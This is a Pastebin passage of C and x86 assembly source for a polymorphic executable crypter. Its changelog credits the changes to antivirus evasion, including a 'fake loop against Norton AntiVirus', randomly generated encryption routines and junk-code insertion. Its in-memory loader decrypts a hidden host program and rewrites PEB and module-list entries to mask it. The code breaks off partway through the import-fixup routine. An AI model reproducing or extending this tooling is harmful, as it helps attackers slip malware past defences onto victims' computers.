Advertisement
Outlasted

Source testz.exe

Jun 26th, 2015
342
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 291.69 KB | None | 0 0
  1. #include <windows.h>
  2. #include <winnt.h>
  3. #include <imagehlp.h>
  4. #include <time.h>
  5. #include <iostream>
  6. #include <tchar.h>
  7.  
  8. //if RUBBISH_NOPS defined, inserted rubbish are nops only (good for debugging)
  9. //#define RUBBISH_NOPS
  10. //#define STATIC_CONTEXT
  11.  
  12. //ORIGINAL
  13. //this is how our new PE loox like:
  14. //
  15. //CodeSection:
  16. //0..0x10: jmp GetProcAddress+jmp LoadLibrary+pad
  17. //0x10..0x10+KeySize:Key
  18. //0x10+KeySize..0x10+KeySize+sizeof(DynLoader):DynLoader
  19. //0x10+KeySize+sizeof(DynLoader): code
  20. //
  21. //DataSection:
  22. //0..sizeof(host)-1: host
  23. //
  24. //ImportSection:
  25. //0..0x70-1: imports
  26. //
  27. //[TlsSection:]
  28. //0..sizeof(tls): tls
  29. //
  30.  
  31.  
  32. //Changelog 1.2a
  33. //moved import function jmps (getprocaddress, loadlibrary) to the end of initdata/polymorphic loader to
  34. //prevent AV detection (code section started with ..000000FF2534.. which was a signature):
  35. //implemented several variants of each jmp to import section (getprocaddress, loadlibrary) and added fixups
  36.  
  37. //this is how our new PE loox like:
  38. //
  39. //CodeSection:
  40. //0x0..KeySize:Key
  41. //KeySize..KeySize+sizeof(DynLoader):DynLoader
  42. //KeySize+sizeof(DynLoader): code
  43. //
  44. //DataSection:
  45. //0..sizeof(host)-1: host
  46. //
  47. //ImportSection:
  48. //0..0x70-1: imports
  49. //
  50. //[TlsSection:]
  51. //0..sizeof(tls): tls
  52.  
  53.  
  54. //Changelog 1.2b
  55. //- some random data (CoderRoller1) into encryption routine (DynCoder and Decoder)
  56. //- data section eliminated (too risky to have it)
  57. //- minor bug fixes
  58. //
  59. //this is how our new PE loox like:
  60. //
  61. //CodeSection:
  62. //0: Rubbish
  63. //KeyPtr..KeyPtr+KeySize:Key
  64. //KeyPtr+KeySize..KeyPtr+KeySize+sizeof(DynLoader):DynLoader
  65. //KeyPtr+KeySize+sizeof(DynLoader): code
  66. //code+sizeof(code): host
  67. //
  68. //ImportSection:
  69. //0..0x70-1: imports
  70. //
  71. //[TlsSection:]
  72. //0..sizeof(tls): tls
  73.  
  74. //Changelog 1.3
  75. //- polycode liposuction
  76. //- polycode instruction naming
  77.  
  78. //Changelog 1.4
  79. //- DLL SUPPORT!!!
  80. //- well some hacks are here, so nobody can say that the code is correct - see DynLoader
  81. //- minor bugfixes
  82. //+ .edata section after .tls
  83.  
  84. //Changelog 1.5
  85. //- polycode improved
  86.  
  87. //Changelog 1.6
  88. //- polycode shrinked
  89. //- dynloader decrypts main data
  90.  
  91. //Changelog 1.7
  92. //- secondary encryption routine has variable-length key
  93.  
  94. //Changelog 1.8
  95. //- polycode shrinked
  96.  
  97. //Changelog 1.9
  98. //- icon + XP manifest support
  99.  
  100. //Changelog 2.0
  101. //- secondary encryption routine is randomly generated
  102. //- resource support for DLLs
  103. //- fake loop against Norton AntiVirus
  104.  
  105. //Changelog 2.1
  106. //- FSG 2.0 exe packer support
  107.  
  108. //Changelog 2.2
  109. //- support for some other exe packers - Mew 1.1
  110.  
  111. //Changelog 2.3
  112. //- fixed two serious bugz
  113.  
  114. //Changelog 2.4
  115. //- better support for VB programs
  116. //- support for end of file overlay data
  117.  
  118. //Changelog 2.5
  119. //- bugfix in TLS support
  120.  
  121. //Changelog 2.6
  122. //- bugfix in TLS support number 2
  123.  
  124. //Changelog 2.7
  125. //- better DLL handling -> support for NT4 DLLs
  126.  
  127. //if you need sum PEB, TEB structures (like in DynLoader)
  128. //try look at these links:
  129. //http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Thread/TEB.html
  130. //http://undocumented.ntinternals.net/UserMode/Structures/LDR_MODULE.html
  131. //http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Process/PEB.html
  132.  
  133.  
  134.  
  135. //we need a dos stub
  136. //that's the common dos prog writing "This program cannot be run in DOS mode"
  137. const BYTE DosStub[0x38]
  138. ={0xBA,0x10,0x00,0x0E,0x1F,0xB4,0x09,0xCD,0x21,0xB8,0x01,0x4C,0xCD,0x21,0x90,0x90,
  139. 0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6F,0x67,0x72,0x61,0x6D,0x20,0x6D,0x75,0x73,
  140. 0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6E,0x20,0x75,0x6E,0x64,0x65,0x72,0x20,0x57,
  141. 0x69,0x6E,0x33,0x32,0x0D,0x0A,0x24,0x37};
  142.  
  143. //import section constants
  144. #define NumberOfDLL 1 //number of dlls
  145. #define NumberOfImports 2 //number of funcs
  146. #define Kernel32Name "kernel32.dll" //name of dll
  147. #define NtdllName "ntdll.dll" //name of ntdll.dll
  148.  
  149. #define GetProcAddressName "GetProcAddress"//name of funct1
  150. #define LoadLibraryName "LoadLibraryA" //name of func2
  151. #define Kernel32Size 12 //length of dll name
  152. #define GetProcAddressSize 14 //length of func1 name
  153. #define LoadLibrarySize 12 //length of func2 name
  154.  
  155. //polymorphic instruction indexes
  156. #define PII_BEGIN 0
  157.  
  158. #define PII_POLY_BEGIN PII_BEGIN
  159. #define PII_POLY_PUSHAD PII_POLY_BEGIN
  160. #define PII_POLY_MOV_REG_LOADER_SIZE PII_POLY_PUSHAD+1
  161. #define PII_POLY_MOV_REG_LOADER_ADDR PII_POLY_MOV_REG_LOADER_SIZE+1
  162.  
  163. #define PII_CODER_BEGIN PII_POLY_MOV_REG_LOADER_ADDR+1
  164. #define PII_CODER_CALL_GET_EIP PII_CODER_BEGIN+1
  165. #define PII_CODER_GET_EIP PII_CODER_CALL_GET_EIP+1
  166. #define PII_CODER_FIX_DST_PTR PII_CODER_GET_EIP+1
  167. #define PII_CODER_KEY_START PII_CODER_FIX_DST_PTR+1
  168. #define PII_CODER_MOV_REG_KEY PII_CODER_KEY_START
  169. #define PII_CODER_FIX_SRC_PTR PII_CODER_MOV_REG_KEY+1
  170.  
  171. #define PII_CODER_CODE PII_CODER_FIX_SRC_PTR+1
  172. #define PII_CODER_LOAD_KEY_TO_REG PII_CODER_CODE
  173. #define PII_CODER_TEST_KEY_END PII_CODER_LOAD_KEY_TO_REG+1
  174. #define PII_CODER_JZ_CODER_BEGIN PII_CODER_TEST_KEY_END+1
  175. #define PII_CODER_ADD_DATA_IDX PII_CODER_JZ_CODER_BEGIN+1
  176. #define PII_CODER_XOR_DATA_REG PII_CODER_ADD_DATA_IDX+1
  177. #define PII_CODER_STORE_DATA PII_CODER_XOR_DATA_REG+1
  178. #define PII_CODER_INC_SRC_PTR PII_CODER_STORE_DATA+1
  179. #define PII_CODER_LOOP_CODER_CODE PII_CODER_INC_SRC_PTR+1
  180. #define PII_CODER_END PII_CODER_LOOP_CODER_CODE+1
  181.  
  182. #define PII_POLY_JMP_DYNLOADER PII_CODER_END+1
  183. #define PII_POLY_END PII_POLY_JMP_DYNLOADER
  184. #define PII_END PII_POLY_END
  185.  
  186. //other consts
  187. #define MaxPolyCount 20 //maximum variants for one instruction
  188. #define InitInstrCount PII_END+1 //polymorphic loader instruction count
  189. #define RawDataAlignment 0x200 //alignment of SizeOfRawData
  190. #define DosStubEndSize 0x88 //0x100 - SizeOf(DosStub)
  191.  
  192. //image type const
  193. #define IMAGE_TYPE_EXE 0
  194. #define IMAGE_TYPE_DLL 1
  195. #define IMAGE_TYPE_SYS 2
  196. #define IMAGE_TYPE_UNKNOWN 0xFFFFFFFF
  197.  
  198. //this dword is at the end of DYN_LOADER in decoded form
  199. #define DYN_LOADER_END_MAGIC 0xC0DEC0DE
  200. #define DYN_LOADER_DEC_MAGIC 0x1EE7C0DE
  201.  
  202. //registers
  203. #define REG_EAX 0
  204. #define REG_ECX 1
  205. #define REG_EDX 2
  206. #define REG_EBX 3
  207. #define REG_ESP 4
  208. #define REG_EBP 5
  209. #define REG_ESI 6
  210. #define REG_EDI 7
  211. #define REG_NON 255
  212.  
  213. #define Reg8Count 8
  214. #define Reg16Count 8
  215. #define Reg32Count 8
  216.  
  217. #define RT_XP_MANIFEST 24
  218.  
  219. //our type for all about tls section
  220. typedef struct _IMAGE_TLS_DIRECTORY__ {
  221. DWORD StartAddressOfRawData;
  222. DWORD EndAddressOfRawData;
  223. DWORD AddressOfIndex; // PDWORD
  224. DWORD AddressOfCallBacks; // PIMAGE_TLS_CALLBACK *
  225. DWORD SizeOfZeroFill;
  226. DWORD Characteristics;
  227. } IMAGE_TLS_DIRECTORY__, *PIMAGE_TLS_DIRECTORY__;
  228.  
  229. //our type for all about tls section
  230. typedef struct _TLS_COPY
  231. {
  232. PIMAGE_DATA_DIRECTORY Directory;
  233. PIMAGE_TLS_DIRECTORY__ SectionData;
  234. DWORD RawData;
  235. DWORD RawDataLen,Index;
  236. PCHAR Callbacks;
  237. DWORD CallbacksLen;
  238. }TLS_COPY;
  239.  
  240. //one pseudo-instruction (p-i) from polymorphic engine (can contain more than one x86 instruction)
  241. typedef struct _INSTRUCTION
  242. {
  243. BYTE Len; //opcode length
  244. BYTE Fix1,Fix2,Fix3,Fix4; //bytes indexes for fixup
  245. CHAR Code[31]; //opcode
  246. }INSTRUCTION;
  247.  
  248. //a list of p-i, we will chose one each time and put it into a code
  249. typedef struct
  250. {
  251. BYTE Count,Index; //number of p-i and number of the chosen
  252. DWORD VirtualAddress; //address of instruction in CODE section
  253. INSTRUCTION Vars[MaxPolyCount]; //the list
  254. }VAR_INSTRUCTION;
  255.  
  256. typedef struct _RESOURCE_TABLE_DIRECTORY_ENTRY{
  257. IMAGE_RESOURCE_DIRECTORY Table;
  258. IMAGE_RESOURCE_DIRECTORY_ENTRY Directory;
  259. }RESOURCE_TABLE_DIRECTORY_ENTRY, *PRESOURCE_TABLE_DIRECTORY_ENTRY;
  260.  
  261. typedef struct _ICON_DIRECTORY_ENTRY{
  262. BYTE Width;
  263. BYTE Height;
  264. BYTE ColorCount;
  265. BYTE Reserved;
  266. WORD Planes;
  267. WORD BitCount;
  268. WORD BytesInRes1;
  269. WORD BytesInRes2;
  270. WORD ID;
  271. }ICON_DIRECTORY_ENTRY, *PICON_DIRECTORY_ENTRY;
  272.  
  273. typedef struct _ICON_DIRECTORY{
  274. WORD Reserved;
  275. WORD ResType;
  276. WORD Count;
  277. ICON_DIRECTORY_ENTRY Entries[32];
  278. }ICON_DIRECTORY, *PICON_DIRECTORY;
  279.  
  280. enum IMAGE_TYPE { itExe,itDLL,itSys};
  281.  
  282.  
  283. typedef DWORD (__stdcall *TEncoderProc)(void * AAddr);
  284.  
  285.  
  286. PIMAGE_DOS_HEADER pimage_dos_header;
  287. PIMAGE_NT_HEADERS pimage_nt_headers;
  288. PIMAGE_EXPORT_DIRECTORY pimage_export_directory;
  289. IMAGE_DOS_HEADER DosHeader;
  290. CHAR DosStubEnd[DosStubEndSize];
  291. IMAGE_NT_HEADERS NtHeaders;
  292. HANDLE FileHandle,MainFile;
  293. char InputFileName[255];
  294. char OutputFileName[255];
  295. char Options[64];
  296. DWORD NumBytes,TotalFileSize,MainSize,LoaderSize;
  297. DWORD VirtLoaderData,VirtMainData,VirtKey,InitSize,KeyPtr;
  298. DWORD AnyDWORD,LoaderPtr,TlsSectionSize,Delta,HostImageBase;
  299. DWORD HostSizeOfImage,HostCharacteristics;
  300. DWORD ReqImageBase,RandomValue,ExportSectionSize;
  301. DWORD CurVirtAddr,CurRawData,ExportRVADelta;
  302. DWORD HostExportSectionVirtualAddress;
  303. DWORD ExportNamePointerRVAOrg,ExportAddressRVAOrg;
  304. DWORD ImportSectionDataSize,HostImportSectionSize,ImportSectionDLLCount;
  305. DWORD HostImportSectionVirtualAddress,InitcodeThunk;
  306. DWORD CodeSectionVirtualSize,LoaderRealSize;
  307. DWORD MainRealSize,MainRealSize4,LogCnt,MainDataDecoderLen;
  308. DWORD DynLoaderDecoderOffset,LdrPtrCode,LdrPtrThunk;
  309. DWORD ResourceSectionSize,HostResourceSectionSize;
  310. //DWORD ResourceIconGroupDataSize
  311. DWORD HostResourceSectionVirtualAddress;
  312. //DWORD ResourceXPMDirSize;
  313. DWORD AfterImageOverlaysSize;
  314. IMAGE_SECTION_HEADER CodeSection;
  315. IMAGE_SECTION_HEADER ExportSection;
  316. IMAGE_SECTION_HEADER TlsSection;
  317. IMAGE_SECTION_HEADER ImportSection;
  318. IMAGE_SECTION_HEADER ResourceSection;
  319.  
  320. IMAGE_IMPORT_DESCRIPTOR ImportDesc;
  321. IMAGE_IMPORT_DESCRIPTOR NullDesc;
  322. PIMAGE_IMPORT_DESCRIPTOR PImportDesc;
  323.  
  324. IMAGE_THUNK_DATA ThunkGetProcAddress;
  325. IMAGE_THUNK_DATA ThunkLoadLibrary;
  326.  
  327. //WORD NullWord;
  328. WORD KeySize,TrashSize,Trash2Size,HostSubsystem;
  329.  
  330. PCHAR MainData,MainDataCyp,LoaderData,Key,InitData,Trash,Trash2;
  331. PCHAR ExportData,ImportSectionData,ResourceData;
  332. PCHAR MainDataEncoder,MainDataDecoder,AfterImageOverlays;
  333.  
  334. char *PB,*PB2,*PB3,*PB4,*DynLoaderSub,*LdrPtr,*MainDataDecPtr;
  335. BOOL TlsSectionPresent,ExportSectionPresent,Quiet,DynamicDLL;
  336. BOOL ResourceSectionPresent,SaveIcon,SaveOverlay,OverlayPresent;
  337. TLS_COPY TlsCopy;
  338. IMAGE_TLS_DIRECTORY__ TlsSectionData;
  339. IMAGE_TYPE ImageType;
  340. //DWORD * DynLoaderJmp;
  341. PIMAGE_RESOURCE_DIRECTORY ResourceRoot;
  342. PIMAGE_RESOURCE_DIRECTORY ResourceIconGroup;
  343. PIMAGE_RESOURCE_DIRECTORY ResourceXPManifest;
  344. PIMAGE_RESOURCE_DIRECTORY_ENTRY ResourceDirEntry;
  345. TEncoderProc EncoderProc;
  346.  
  347. //---------------------------------------------------------
  348. // byte ptr (1 bytes)
  349. #define BYTE_TYPE(x) __asm _emit x
  350. // word ptr (2 bytes)
  351. #define WORD_TYPE(x) BYTE_TYPE((x>>(0*8))&0xFF) BYTE_TYPE((x>>(1*8))&0xFF)
  352. // dword ptr (4 bytes)
  353. #define DWORD_TYPE(x) BYTE_TYPE((x>>(0*8))&0xFF) BYTE_TYPE((x>>(1*8))&0xFF) BYTE_TYPE((x>>(2*8))&0xFF) BYTE_TYPE((x>>(3*8))&0xFF)
  354. // dword64 ptr (8 bytes)
  355. #define DWORD64_TYPE(x) DWORD_TYPE(x) DWORD_TYPE(x)
  356.  
  357. //---------------------------------------------------------
  358. #define BB(x) __asm _emit x
  359. #define DB BYTE_TYPE(0xCC)
  360. #define DD DWORD_TYPE(0xCC)
  361.  
  362. __stdcall void DynLoader()
  363. {
  364. _asm
  365. {
  366. //THE LOADER!
  367. //this loads pe file to memory from MainData
  368. //fixup relocations
  369. //fixup imports
  370. //fixup exports
  371. //doesn't protect pages - cuz we don't need this !?
  372. //
  373. push 012345678h //LoadLibrary
  374. push 012345678h //GetProcAddress
  375. push 012345678h //Addr of MainData
  376. //now lil hack
  377. //we use rva for maindata, but we don't know image base
  378. //we get eip and and it with 0FFFFF000h which does
  379. //from 000401XXXh something like 000401000h that's why we
  380. //have to be sure this code is not after 2000h, but WE DO know it
  381. call _get_eip
  382. _get_eip:
  383. pop eax
  384. and eax,0FFFFF000h
  385. add [esp],eax
  386. add [esp+004h],eax
  387. add [esp+008h],eax
  388.  
  389. call _DynLoader_begin
  390.  
  391. //one more hack here
  392. //code in LoadLibrary that call DllMain saves its esp into esi
  393. //but we modify esi a lot and we shouldn't do this, also ebp for NT4 is need to safe
  394. //but we can fix this up, cuz we know we left esp and it has right value
  395. //so add sum 010h for DllMain params + ret addr and here we go
  396. // mov esi,esp
  397. //popad without eax and ecx
  398. pop edi
  399. pop esi
  400. pop ebp
  401. add esp,004h
  402. pop ebx
  403. pop edx
  404. add esp,008h
  405.  
  406. mov [esp+004h],ecx //change DllMain.hinstDLL
  407. // int 3
  408. jmp eax //jump to entrypoint
  409.  
  410. _DynLoader_begin:
  411. //we've got image base in eax (except ax), save it to ebp-050h
  412. push ebp
  413. mov ebp,esp
  414. sub esp,00000200h
  415. /*
  416. -01F8..-0100 - IMAGE_NT_HEADERS NtHeaders
  417. -09C - MemoryBasicInformation.BaseAddress
  418. -098 - MemoryBasicInformation.AllocationBase
  419. -094 - MemoryBasicInformation.AllocationProtect
  420. -090 - MemoryBasicInformation.RegionSize
  421. -08C - MemoryBasicInformation.State
  422. -088 - MemoryBasicInformation.Protect
  423. -084 - MemoryBasicInformation.Type
  424.  
  425. -07C - PVOID IsBadReadPtr()
  426. -078 - PVOID VirtualQuery()
  427. -074 - PVOID VirtualProtect()
  428. -070 - DWORD FirstModule
  429.  
  430. -054 - DWORD OrgImageSize
  431. -050 - DWORD ImageBase
  432. -04C - DWORD ImageEntryPoint
  433. -048 - DWORD ImageSize
  434. -044 - DWORD ImageType
  435. -040 - DWORD HintName
  436. -03C - DWORD Thunk
  437. -038..-010 - IMAGE_SECTION_HEADER Section
  438. -00C - PCHAR FileData
  439. -008 - DWORD ImageSizeOrg:Cardinal
  440. -004 - DWORD ImageBaseOrg:Cardinal
  441. +008 - PCHAR AddrOfMainData:Pointer
  442. +00C - PVOID GetProcAddress()
  443. +010 - PVOID LoadLibrary()
  444. */
  445. push ebx //save ebx, edi, esi
  446. push edi
  447. push esi
  448.  
  449. and eax,0FFFF0000h
  450.  
  451. mov [ebp-050h],eax //save ImageBase
  452.  
  453. mov ecx,00008000h
  454. _DynLoader_fake_loop:
  455. add eax,0AF631837h
  456. xor ebx,eax
  457. add bx,ax
  458. rol ebx,007h
  459. loop _DynLoader_fake_loop
  460. //HERE you can insert our own crypto routine
  461. //esp and ebp should not be changed
  462. push dword ptr [ebp+008h] //AAddr
  463. DWORD_TYPE(DYN_LOADER_DEC_MAGIC)
  464. //\end of crypto routine
  465.  
  466. call _DynLoader_fill_image_info
  467.  
  468. push 000h
  469. push 06C6C642Eh
  470. push 032336C65h
  471. push 06E72656Bh //kernel32.dll on stack
  472. push esp //lpLibFileName
  473. mov eax,[ebp+010h] //ImportThunk.LoadLibrary
  474. call [eax] //LoadLibrary
  475. add esp,010h
  476. mov edi,eax
  477.  
  478. push 000h
  479. push 0636F6C6Ch
  480. push 0416C6175h
  481. push 074726956h //VirtualAlloc on stack
  482. push esp //lpProcName
  483. push eax //hModule
  484. mov eax,[ebp+00Ch] //ImportThunk.GetProcAddress
  485. call [eax] //GetProcAddress
  486. add esp,010h
  487. mov ebx,eax
  488. test eax,eax
  489. jz _DynLoader_end
  490.  
  491. push 000007463h
  492. push 065746f72h
  493. push 0506C6175h
  494. push 074726956h //VirtualProtect on stack
  495. push esp //lpProcName
  496. push edi //hModule
  497. mov eax,[ebp+00Ch] //ImportThunk.GetProcAddress
  498. call [eax] //GetProcAddress
  499. add esp,010h
  500. mov [ebp-074h],eax //VirtualProtect
  501. test eax,eax
  502. jz _DynLoader_end
  503.  
  504. push 000h
  505. push 079726575h
  506. push 0516C6175h
  507. push 074726956h //VirtualQuery on stack
  508. push esp //lpProcName
  509. push edi //hModule
  510. mov eax,[ebp+00Ch] //ImportThunk.GetProcAddress
  511. call [eax] //GetProcAddress
  512. add esp,010h
  513. mov [ebp-078h],eax //VirtualQuery
  514. test eax,eax
  515. jz _DynLoader_end
  516.  
  517. push 000h
  518. push 072745064h
  519. push 061655264h
  520. push 061427349h //IsBadReadPtr on stack
  521. push esp //lpProcName
  522. push edi //hModule
  523. mov eax,[ebp+00Ch] //ImportThunk.GetProcAddress
  524. call [eax] //GetProcAddress
  525. add esp,010h
  526. mov [ebp-07Ch],eax //IsBadReadPtr
  527. test eax,eax
  528. jz _DynLoader_end
  529.  
  530.  
  531. lea edi,[ebp-01F8h] //NtHeaders
  532. push edi
  533. mov esi,[ebp+008h] //IMAGE_DOS_HEADER
  534. add esi,[esi+03Ch] //IMAGE_DOS_HEADER.e_lfanew
  535. push 03Eh //WORD(sizeof(NtHeaders) / 4)
  536. pop ecx
  537. rep movsd
  538. pop edi
  539. mov eax,[edi+034h] //NtHeaders.OptionalHeader.ImageBase
  540. mov [ebp-004h],eax //ImageBaseOrg
  541. mov ecx,[edi+050h] //NtHeaders.OptionalHeader.SizeOfImage
  542. mov [ebp-008h],ecx //ImageSizeOrg
  543.  
  544. push ecx
  545. push PAGE_EXECUTE_READWRITE //flProtect
  546. push MEM_COMMIT or MEM_RESERVE //flAllocationType
  547. push ecx //dwSize
  548. push eax //lpAddress
  549. call ebx //VirtualAlloc
  550. pop ecx
  551. test eax,eax
  552. jnz _DynLoader_alloc_done
  553.  
  554. push PAGE_EXECUTE_READWRITE //flProtect
  555. push MEM_COMMIT //flAllocationType
  556. push ecx //dwSize
  557. push eax //lpAddress
  558. call ebx //VirtualAlloc
  559. test eax,eax
  560. jz _DynLoader_end
  561.  
  562. _DynLoader_alloc_done:
  563. mov [ebp-00Ch],eax //FileData
  564. mov edi,eax
  565. mov esi,[ebp+008h] //IMAGE_DOS_HEADER
  566. push esi
  567. mov ecx,esi //IMAGE_DOS_HEADER
  568. add ecx,[esi+03Ch] //+IMAGE_DOS_HEADER.e_lfanew = NtHeaders
  569. mov ecx,[ecx+054h] //NtHeaders.SizeOfHeaders
  570. rep movsb
  571. pop esi
  572. add esi,[esi+03Ch] //IMAGE_NT_HEADERS
  573. add esi,0F8h //+sizeof(IMAGE_NT_HEADERS) = section headers
  574.  
  575. _DynLoader_LoadSections:
  576. mov eax,[ebp+008h] //IMAGE_DOS_HEADER
  577. add eax,[eax+03Ch] //IMAGE_DOS_HEADER.e_lfanew
  578. movzx eax,[eax+006h] //NtHeaders.FileHeader.NumberOfSections
  579.  
  580. _DynLoader_LoadSections_do_section:
  581. lea edi,[ebp-038h] //Section
  582. push edi
  583. push 00Ah //WORD(sizeof(TImageSectionHeader) / 4)
  584. pop ecx
  585. rep movsd
  586. pop edi
  587.  
  588. _DynLoader_LoadSections_copy_data:
  589. mov edx,[edi+014h] //Section.PointerToRawData
  590. test edx,edx
  591. jz _DynLoader_LoadSections_next_section
  592. push esi
  593. mov esi,[ebp+008h] //AHostAddr
  594. add esi,edx //AHostAddr + Section.PointerToRawData
  595. mov ecx,[edi+010h] //Section.SizeOfRawData
  596. mov edx,[edi+00Ch] //Section.VirtualAddress
  597. mov edi,[ebp-00Ch] //FileData
  598. add edi,edx //FileData + Section.VirtualAddress
  599. rep movsb
  600. pop esi
  601. _DynLoader_LoadSections_next_section:
  602. dec eax
  603. jnz _DynLoader_LoadSections_do_section
  604.  
  605. mov edx,[ebp-00Ch] //FileData
  606. sub edx,[ebp-004h] //Delta = FileData - ImageBaseOrg
  607. je _DynLoader_PEBTEBFixup
  608.  
  609. _DynLoader_RelocFixup:
  610. mov eax,[ebp-00Ch] //FileData
  611. mov ebx,eax
  612. add ebx,[ebx+03Ch] //IMAGE_DOS_HEADER.e_lfanew
  613. mov ebx,[ebx+0A0h] //IMAGE_DIRECTORY_ENTRY_BASERELOC.VirtualAddress
  614. test ebx,ebx
  615. jz _DynLoader_PEBTEBFixup
  616. add ebx,eax
  617. _DynLoader_RelocFixup_block:
  618. mov eax,[ebx+004h] //ImageBaseRelocation.SizeOfBlock
  619. test eax,eax
  620. jz _DynLoader_PEBTEBFixup
  621. lea ecx,[eax-008h] //ImageBaseRelocation.SizeOfBlock - sizeof(TImageBaseRelocation)
  622. shr ecx,001h //WORD((ImageBaseRelocation.SizeOfBlock - sizeof(TImageBaseRelocation)) / sizeof(Word))
  623. lea edi,[ebx+008h] //PImageBaseRelocation + sizeof(TImageBaseRelocation)
  624. _DynLoader_RelocFixup_do_entry:
  625. movzx eax,word ptr [edi] //Entry
  626. push edx
  627. mov edx,eax
  628. shr eax,00Ch //Type = Entry >> 12
  629.  
  630. mov esi,[ebp-00Ch] //FileData
  631. and dx,00FFFh
  632. add esi,[ebx] //FileData + ImageBaseRelocation.VirtualAddress
  633. add esi,edx //FileData + ImageBaseRelocation.VirtualAddress+Entry & 0x0FFF
  634. pop edx
  635.  
  636. _DynLoader_RelocFixup_HIGH:
  637. dec eax
  638. jnz _DynLoader_RelocFixup_LOW
  639. mov eax,edx
  640. shr eax,010h //HIWORD(Delta)
  641. jmp _DynLoader_RelocFixup_LOW_fixup
  642. _DynLoader_RelocFixup_LOW:
  643. dec eax
  644. jnz _DynLoader_RelocFixup_HIGHLOW
  645. movzx eax,dx //LOWORD(Delta)
  646. _DynLoader_RelocFixup_LOW_fixup:
  647. add word ptr [esi],ax
  648. jmp _DynLoader_RelocFixup_next_entry
  649. _DynLoader_RelocFixup_HIGHLOW:
  650. dec eax
  651. jnz _DynLoader_RelocFixup_next_entry
  652. add [esi],edx
  653.  
  654. _DynLoader_RelocFixup_next_entry:
  655. inc edi
  656. inc edi //Entry++
  657. loop _DynLoader_RelocFixup_do_entry
  658.  
  659. _DynLoader_RelocFixup_next_base:
  660. add ebx,[ebx+004h] //ImageBaseRelocation + ImageBaseRelocation.SizeOfBlock
  661. jmp _DynLoader_RelocFixup_block
  662.  
  663. _DynLoader_PEBTEBFixup:
  664. //we have some bad pointers in InLoadOrderModuleList, we have to change the base of our module
  665. //and if we are executable (not dll) we have to change base address in PEB too
  666. //for VB programs we need to do it now, because its libraries is reading this stuff
  667. //in ImportFixup section
  668. // int 3
  669. mov ecx,[ebp-00Ch] //FileData
  670. mov edx,[ebp-050h] //ImageBase
  671. add [ebp-04Ch],edx //ImageEntryPoint
  672.  
  673. mov eax,fs:[000000030h] //TEB.PPEB
  674. cmp dword ptr [ebp-044h],IMAGE_TYPE_EXE //check image type = IMAGE_TYPE_EXE
  675. jnz _DynLoader_in_module_list
  676. mov [eax+008h],ecx //PEB.ImageBaseAddr => rewrite old imagebase
  677. _DynLoader_in_module_list:
  678. mov eax,[eax+00Ch] //PEB.LoaderData
  679. mov eax,[eax+00Ch] //LoaderData.InLoadOrderModuleList
  680.  
  681. //now find our module in the list (same base, same size and same entry point)
  682. mov esi,eax //first record
  683.  
  684. _DynLoader_in_module_list_one:
  685. mov edx,[eax+018h] //InLoadOrderModuleList.BaseAddress
  686. cmp edx,[ebp-050h] //ImageBase
  687. jnz _DynLoader_in_module_list_next
  688. mov edx,[eax+01Ch] //InLoaderOrderModuleList.EntryPoint
  689. cmp edx,[ebp-04Ch] //ImageEntryPoint
  690. jnz _DynLoader_in_module_list_next
  691. mov edx,[eax+020h] //InLoaderOrderModuleList.SizeOfImage
  692. cmp edx,[ebp-048h] //ImageSize
  693. jnz _DynLoader_in_module_list_next
  694. mov [eax+018h],ecx //InLoadOrderModuleList.BaseAddress => rewrite old imagebase
  695. add ecx,[ebp-01D0h] //+NtHeaders.OptionalHeader.AddressOfEntryPoint
  696. mov [eax+01Ch],ecx //InLoadOrderModuleList.EntryPoint => rewrite old entrypoint
  697. mov ecx,[ebp-01A8h] //NtHeaders.OptionalHeader.SizeOfImage
  698. mov [eax+020h],ecx //InLoaderOrderModuleList.SizeOfImage => rewrite old sizeofimage
  699. jmp _DynLoader_ImportFixup
  700.  
  701. _DynLoader_in_module_list_next:
  702. cmp [eax],esi //.IF(InLoadOrderModuleList.Flink == first record)
  703. jz _DynLoader_ImportFixup
  704. mov eax,[eax] //record = InLoadOrderModuleList.Flink
  705. jmp _DynLoader_in_module_list_one
  706.  
  707.  
  708. _DynLoader_ImportFixup:
  709. mov ebx,[ebp-0178h] //NtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress
  710. test ebx,ebx
  711. jz _DynLoader_export_fixup
  712. mov esi,[ebp-00Ch] //FileData
  713. add ebx,esi //FileData + NtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress
  714. _DynLoader_ImportFixup_module:
  715. mov eax,[ebx+00Ch] //TImageImportDescriptor.Name
  716. test eax,eax
  717. jz _DynLoader_export_fixup
  718.  
  719. mov ecx,[ebx+010h] //TImageImportDescriptor.FirstThunk
  720. add ecx,esi
  721. mov [ebp-03Ch],ecx //Thunk
  722. mov ecx,[ebx] //TImageImportDescriptor.Characteristics
  723. test ecx,ecx
  724. jnz _DynLoader_ImportFixup_table
  725. mov ecx,[ebx+010h]
  726. _DynLoader_ImportFixup_table:
  727. add ecx,esi
  728. mov [ebp-040h],ecx //HintName
  729. add eax,esi //TImageImportDescriptor.Name + FileData = ModuleName
  730. push eax //lpLibFileName
  731. mov eax,[ebp+010h] //ImportThunk.LoadLibrary
  732. call [eax] //LoadLibrary
  733. test eax,eax
  734. jz _DynLoader_end
  735. mov edi,eax
  736. _DynLoader_ImportFixup_loop:
  737. mov ecx,[ebp-040h] //HintName
  738. mov edx,[ecx] //TImageThunkData.Ordinal
  739. test edx,edx
  740. jz _DynLoader_ImportFixup_next_module
  741. test edx,080000000h //.IF( import by ordinal )
  742. jz _DynLoader_ImportFixup_by_name
  743. and edx,07FFFFFFFh //get ordinal
  744. jmp _DynLoader_ImportFixup_get_addr
  745. _DynLoader_ImportFixup_by_name:
  746. add edx,esi //TImageThunkData.Ordinal + FileData = OrdinalName
  747. inc edx
  748. inc edx //OrdinalName.Name
  749. _DynLoader_ImportFixup_get_addr:
  750. push edx //lpProcName
  751. push edi //hModule
  752. mov eax,[ebp+00Ch] //ImportThunk.GetProcAddress
  753. call [eax] //GetProcAddress
  754. mov ecx,[ebp-03Ch] //HintName
  755. mov [ecx],eax
  756. add dword ptr [ebp-03Ch],004h //Thunk => next Thunk
  757. add dword ptr [ebp-040h],004h //HintName => next HintName
  758. jmp _DynLoader_ImportFixup_loop
